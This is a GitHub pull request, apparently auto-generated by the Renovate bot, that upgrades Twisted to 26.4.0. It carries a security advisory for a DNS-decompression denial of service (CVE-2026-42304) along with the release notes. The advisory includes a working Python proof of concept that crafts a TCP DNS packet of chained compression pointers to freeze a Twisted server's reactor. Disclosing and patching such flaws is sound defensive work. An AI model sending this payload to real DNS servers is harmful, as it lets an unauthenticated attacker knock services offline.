Skip to content

chore(deps): update dependency twisted to v26 [security]#348

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-twisted-vulnerability
Open

chore(deps): update dependency twisted to v26 [security]#348
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-twisted-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented May 11, 2026

This PR contains the following updates:

Package Change Age Confidence
Twisted (changelog) 25.5.026.4.0 age confidence

Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains

CVE-2026-42304 / GHSA-grgv-6hw6-v9g4

More information

Details

Details

The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.


Technical Details

The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.

Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.

#####  src/twisted/names/dns.py (Lines 595-631)

def decode(self, strio, length=None):
        visited = set()
        self.name = b""
        off = 0
        while 1:
            l = ord(readPrecisely(strio, 1))
            if l == 0:
                if off > 0:
                    strio.seek(off)
                return
            if (l >> 6) == 3:
                new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
                if new_off in visited:
                    raise ValueError("Compression loop in encoded name")
                visited.add(new_off)
                if off == 0:
                    off = strio.tell()
                strio.seek(new_off)
                continue
            label = readPrecisely(strio, l)
            if self.name == b"":
                self.name = label
            else:
                self.name = self.name + b"." + label

PoC
import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers

def create_tcp_payload():
    num_pointers = 8000
    packet_length = 65533
    num_questions = (packet_length - (num_pointers * 2) - 12) // 6

    buffer = bytearray(packet_length)

    struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)

    ptr_offset = 12
    for _ in range(num_pointers - 1):
        struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
        ptr_offset += 2

    null_byte_offset = ptr_offset + 2
    struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
    buffer[null_byte_offset] = 0

    question_offset = null_byte_offset + 1
    for _ in range(num_questions):
        if question_offset + 6 <= packet_length:
            struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
            question_offset += 6

    return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer

def test_dns_server():
    factory = server.DNSServerFactory(clients=[])
    protocol = factory.buildProtocol(("127.0.0.1", 10053))
    transport = proto_helpers.StringTransport()
    protocol.makeConnection(transport)

    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
    print("payload")
    print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")

    start = time.time()
    protocol.dataReceived(payload)
    end = time.time()

    print(f"time={end - start:.4f}s")

if __name__ == "__main__":
    test_dns_server()

Impact

A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.


Remediation
  • Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
  • Share the "resolved offset" state across all records in a single message to prevent redundant processing.
  • Validate the number of questions before entering the decoding loop in Message.decode.

Resources

https://cwe.mitre.org/data/definitions/400.html

https://cwe.mitre.org/data/definitions/407.html

https://datatracker.ietf.org/doc/html/rfc9267

https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595

twisted/twisted@e11cd82


Author: Tomas Illuminati

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

twisted/twisted (Twisted)

v26.4.0: Twisted 26.4.0

Compare Source

Twisted 26.4.0 (2026-05-11)

This is the last release with support for Python 3.9.

Security

  • twisted.names was fix for Denial of Service (DoS) attack via resource exhaustion during DNS name decompression.
    Reported and fixed by Tomas Illuminati Balbin CVE-2026-42304 (#​12626)

Features

  • twisted.internet.ssl.CertificateOptions has a new constructor argument, contextForServerName, which takes a callback that will get invoked when a client sends a server name indication, with the sent servername, and returns a new OpenSSL.SSL.Context that the connection will switch to. (#​4887)
  • twisted.internet.endpoints.serverFromString now supports the tls endpoint
    type, which allows you to do twist web --listen=tls:.../certbot-dir/config/live pointed at a certbot live
    configuration directory and have your certbot certificates automatically
    discovered and served appropriately. (#​9885)
  • twisted.internet.reactor now has type annotations and will appear to be an object of an appropriate type, allowing for idiomatic common usages with correct type information. (#​9909)
  • twisted.conch.ssh.SSHUserAuthServer now supports the security key ssh types "<sk-ecdsa-sha2-nistp256@​openssh.com>" and "<sk-ssh-ed25519@​openssh.com>" and extracting the application property from these new key types. (#​12212)

Bugfixes

  • twisted.mail.smtp will now return a meaningful Failure when TLS validation fails. (#​10210)
  • TLS version range constraints passed to twisted.internet.ssl.CertificateOptions are now properly respected rather than excluding the version being passed as the desired constraint. (#​10232)
  • A potential reference cycle that might cause intermittent memory spikes while
    using twisted.internet.defer.inlineCallbacks was removed. (#​12120)
  • Trial no longer emits the error RuntimeWarning: TestResult has no addDuration method when running PyUnit tests. (#​12229)
  • twisted.python.rebuild.rebuild() now handles changes to sys.modules gracefully. Prior to the change, it could possibly raise a "dictionary changed size during iteration" error if the module list changed. (#​12458)
  • twisted.internet.protocol.ReconnectingClientFactory: Don't multiply by factor for initial delay, but use initialDelay directly. (#​12478)
  • twisted.internet.ssl and twisted.protocols.tls no longer mutate the pyOpenSSL context after creating pyOpenSSL connections, maintaining compatibility with an upcoming version of pyOpenSSL and increasing reliability (possibly even fixing a very rare segfault) (#​12500)
  • twisted.internet.testing.MemoryReactor.callWhenRunning now invokes the callback immediately, if already started. (#​12514)
  • Twisted now correctly detects EOF on OpenSSL 4. (#​12632)

Improved Documentation

  • The example code from the documentation describing how to create a custom DNS server was updated to Python3. (#​12480)
  • Type annotations now use modern PEP 585 built-in generics and PEP 604 union syntax throughout the project. (#​12556)

Deprecations and Removals

  • Support for the obsolete TLS "Next Protocol Negotiation" has been removed from
    twisted.protocols.tls. (#​9588)
  • Remove support for python3.8. (#​12462)

Misc

Conch

Web

Mail

No significant changes.

Words

No significant changes.

Names

Bugfixes

  • twisted.names now does not throw an error when attempting to load bind zone file. (#​11972)
  • twisted.names was fix for Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. CVE-2026-42304 (#​12626)

Trial


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot force-pushed the renovate/pypi-twisted-vulnerability branch from c622c57 to 448d675 Compare May 11, 2026 14:46
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants